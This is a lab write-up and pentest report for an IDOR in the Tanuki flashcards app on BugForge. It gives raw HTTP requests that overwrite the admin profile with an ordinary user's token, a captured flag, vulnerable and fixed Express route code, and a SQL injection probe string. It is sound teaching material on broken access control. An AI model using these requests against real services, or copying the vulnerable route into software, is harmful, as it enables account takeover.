BugForge — 2026.04.22

Tanuki: IDOR to Account Takeover

BugForge Authorization Bypass (IDOR) easy

Part 1: Pentest Report

Executive Summary

Tanuki is a spaced repetition flashcards web application. Frontend is a Create React App single bundle SPA, backend is Express, authentication is HS256 JWTs carried as Authorization: Bearer <token>. Testing confirmed one critical account takeover defect on the profile update endpoint: the server identifies the update target from the URL path (PUT /api/profile/:username) without verifying that the authenticated user’s token maps to that username. Any authenticated user can rewrite the email, full name, and password of any other account, including the seeded admin account.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Cross user profile write via path supplied username Critical 9.9 CWE-639 PUT /api/profile/:username

F1 is reachable from a freshly registered account with no elevated privileges. A single request to PUT /api/profile/admin carrying a regular user JWT rewrites admin’s record and returns the lab flag in the response message field. The role field whitelist on registration and profile updates, the server enforced admin gate on /api/admin/*, and parameterised SQL queries all hold. F1 survives those defenses because it is a separate authorization concern on the path, not the body.


Objective

Black box lab. No credentials supplied. Register, map the API, locate the flag.


Scope / Initial Access

# Target Application
URL: https://lab-1776819016220-ttmogw.labs-app.bugforge.io

# Auth details
Registration is open: POST /api/register with {username, email, password, full_name}.
Server responds 200 with {token, user{id,username,email,full_name}}.
Token is HS256 JWT, payload shape {"id":4,"username":"haxor","iat":...}.
Authenticated requests carry Authorization: Bearer <jwt>.
Starting account: haxor / id=4 / role=user.

The client side route gate renders the admin panel only when user.role === "admin" in local state. That gate is cosmetic. The server enforces role on /api/admin/* independently.


Reconnaissance: Reading the React Bundle in the Browser

The frontend is a single CRA bundle (main.8b522765.js, ~516 KB). Reading it in Firefox devtools’ Sources panel enumerated the full API surface, including the admin panel UI paths the current JWT could not reach. The observations that shaped later testing:

  1. Every endpoint in the bundle was prefixed /api/... and called with Authorization: Bearer <jwt>. The admin panel referenced /api/admin/users, /api/admin/decks, /api/admin/cards, natural first targets if the role gate had been client only.
  2. The profile routes key on the username in the URL path (GET /api/profile/:username, PUT /api/profile/:username) while the JWT identifies the user by numeric id. Two independent inputs, path and token, either of which the server might silently trust.
  3. The admin “create user” form in the bundle posted a role field alongside the usual profile fields. The public registration form did not. This hints the server may field whitelist registration to strip role.
  4. The profile PUT body in the bundle included password as an accepted field. A cross user write on this endpoint therefore escalates beyond data tampering to password reset and full takeover.

Application Architecture

Component Detail
Backend Express (X-Powered-By: Express)
Frontend React (Create React App, single bundle main.8b522765.js)
Auth JWT HS256, Authorization: Bearer <token>, token stored in localStorage["token"]
Theme SRS flashcards, Japanese branding (“Tanuki”, Noto Sans JP font), English content

API Surface (user accessible)

Endpoint Method Auth Notes
/api/register POST No Returns {token, user{...}}
/api/login POST No Not exercised
/api/verify-token GET Yes Returns current user object
/api/decks GET Yes Seeded decks (Planets, Linux, Cheese)
/api/decks/:id GET Yes Deck detail
/api/study/:deckId/cards GET Yes Cards for a study session
/api/study/progress POST Yes {card_id, quality}
/api/study/session POST Yes {deck_id, cards_studied, correct_count} (counts are client supplied)
/api/study/sessions GET Yes Current user’s sessions
/api/stats GET Yes Aggregate stats for current user
/api/profile/:username GET Yes {username,email,full_name,role,created_at}
/api/profile/:username PUT Yes {email, full_name, password}. F1 surface.

API Surface (admin only, server enforced)

Endpoint Method Notes
/api/admin/users GET/POST 403 to non admin JWT
/api/admin/users/:id PUT/DELETE 403 to non admin JWT
/api/admin/decks(/:id) GET/POST/PUT/DELETE 403 to non admin JWT
/api/admin/cards(/:id) GET/POST/PUT/DELETE 403 to non admin JWT

Known Users

Username ID Role
admin seeded (ID unknown) admin
haxor 4 user (test account)

Attack Chain Visualization

┌──────────────┐   ┌──────────────┐   ┌───────────────┐   ┌──────────────────┐   ┌─────────────────┐
│ 1. Register  │──▶│ 2. Read CRA  │──▶│ 3. Confirm    │──▶│ 4. PUT           │──▶│ 5. 200 + flag   │
│    haxor     │   │    bundle,   │   │    other      │   │    /api/profile/ │   │    in `message` │
│    (role=    │   │    enumerate │   │    defenses   │   │    admin with    │   │    field        │
│    user)     │   │    API       │   │    hold       │   │    haxor JWT     │   │                 │
└──────────────┘   └──────────────┘   └───────────────┘   └──────────────────┘   └─────────────────┘

Findings

F1: Cross user profile write via path supplied username

Severity: Critical CVSS v3.1: 9.9, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: PUT /api/profile/:username Authentication required: Yes (any valid user JWT)

Description

The profile update endpoint identifies the target record from the URL path (:username), while authentication is established from the JWT in the Authorization header. The server validates the JWT signature and expiry but does not verify that the token’s identity matches the path segment. The request body is correctly field whitelisted: only email, full_name, and password pass through; an extra role is silently dropped. That defense does not apply to the path. An authenticated caller can therefore issue PUT /api/profile/<any-username> and overwrite that user’s email, full name, and password.

In addition, when the path supplied username does not match the JWT derived user, the response message field on the 200 response is replaced with the lab flag string instead of the usual “Profile updated successfully” text. This is a lab specific tripwire, not a real world leak in itself, but it confirms that the server code paths for self update and cross user update are distinguishable on the backend.

Impact

Any authenticated user can overwrite the password of any other account, including administrative accounts, resulting in full account takeover.

Reproduction

Step 1: Register a working user account.

POST /api/register HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"[email protected]","password":"Password123!","full_name":"Test Operator"}

Response: 200 {"token":"eyJhbGc...","user":{"id":4,"username":"haxor","email":"[email protected]","full_name":"Test Operator"}}. The JWT is usable immediately.

Step 2: Confirm the admin account is reachable by username.

GET /api/profile/admin HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>

Response: 200 {"username":"admin","email":"[email protected]","full_name":"Administrator","role":"admin","created_at":"..."}. The path identified read works across users.

Step 3: Issue the cross user write.

PUT /api/profile/admin HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Content-Type: application/json

{"email":"[email protected]","full_name":"Tanuki Admin (probed)"}

Response: 200 {"message":"bug{zu4mOcanw13pmotf7uDdXiMcwLMtJBfj}"}. The server returns the flag in place of the usual success string.

Step 4: Verify the mutation persisted.

GET /api/profile/admin HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>

Response: 200 {"username":"admin","full_name":"Tanuki Admin (probed)",...}. The write landed on admin’s record. Reverting the write reproduces the flag deterministically: the response fires whenever path.username differs from the JWT derived user.

Remediation

Fix 1: Bind writes to the authenticated identity.

Reject the request when the path supplied username does not match the authenticated caller. For routes that must allow cross user writes by design (admin maintenance), gate the cross user branch explicitly on role.

// BEFORE (Vulnerable)
app.put('/api/profile/:username', authenticate, async (req, res) => {
  const { username } = req.params;
  const { email, full_name, password } = req.body;
  await db.users.update({ username }, { email, full_name, password });
  return res.json({ message: 'Profile updated successfully' });
});

// AFTER (Secure)
app.put('/api/profile/:username', authenticate, async (req, res) => {
  const { username } = req.params;
  if (req.user.username !== username && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const { email, full_name, password } = req.body;
  await db.users.update({ username }, { email, full_name, password });
  return res.json({ message: 'Profile updated successfully' });
});

Fix 2: Remove the client supplied identifier from self service routes.

The stronger hardening is to drop the path parameter entirely on self service writes. PUT /api/profile with the target derived from req.user.id eliminates the defect class.

// BEFORE (Vulnerable)
app.put('/api/profile/:username', authenticate, async (req, res) => {
  await db.users.update({ username: req.params.username }, req.body);
});

// AFTER (Secure)
app.put('/api/profile', authenticate, async (req, res) => {
  await db.users.update({ id: req.user.id }, req.body);
});

Additional recommendations:

  • Apply the same review to every route with a client supplied path identifier that writes or reads user scoped data (/api/orders/:order_id, /api/teams/:slug, /api/sessions/:id). The defect class is about the pattern, not this one route.
  • Require the current password before accepting a password change, even on self service updates.
  • Ensure passwords are hashed with bcrypt or argon2 at rest. Not observable from this endpoint, worth auditing separately.
  • Audit log profile writes with both the authenticated identity and the target identity so cross user writes are detectable if the route is later loosened for administrative use.

OWASP Top 10 Coverage

  • A01:2021, Broken Access Control. The server authenticates the caller but fails to authorize the caller for the specific target record. The check that binds the JWT identity to the path identity is missing.

Tools Used

Tool Purpose
Firefox devtools (Sources panel) Reading the React bundle to enumerate the API surface and the admin UI
Caido Request replay and editing for the cross user write

References

  • CWE-639: Authorization Bypass Through User-Controlled Key, https://cwe.mitre.org/data/definitions/639.html
  • OWASP API Security Top 10, API1:2023 Broken Object Level Authorization, https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
  • OWASP Top 10 2021, A01 Broken Access Control, https://owasp.org/Top10/A01_2021-Broken_Access_Control/

Part 2: Notes / Knowledge

Key Learnings

  • Always test password write endpoints that take user controlled input (path, body, header) for account data tampering and/or takeover.

Failed Approaches

Approach Result Why It Failed
Mass assignment of role on POST /api/register Account created with role=user Body is field whitelisted; extra role silently dropped
Mass assignment of role on PUT /api/profile/haxor Record unchanged on role Body is field whitelisted; extra role silently dropped
Direct access to /api/admin/users with haxor JWT 403 {"error":"Admin access required"} Server enforces role check on admin routes
SQL injection via single quote on register username, profile path, decks/:id, study/:deckId Clean responses Parameterised queries; numeric ID routes parse as int before query
POST /api/login SQLi probe (admin'--) Not executed Tooling issue (Caido send-raw Blob serialization); engagement objective was reached via F1 before retrying

Tags: #webapp #idor #broken-access-control #account-takeover #cwe-639 #bugforge Document Version: 1.0 Last Updated: 2026-04-22

#webapp #idor #broken-access-control #account-takeover #cwe-639 #bugforge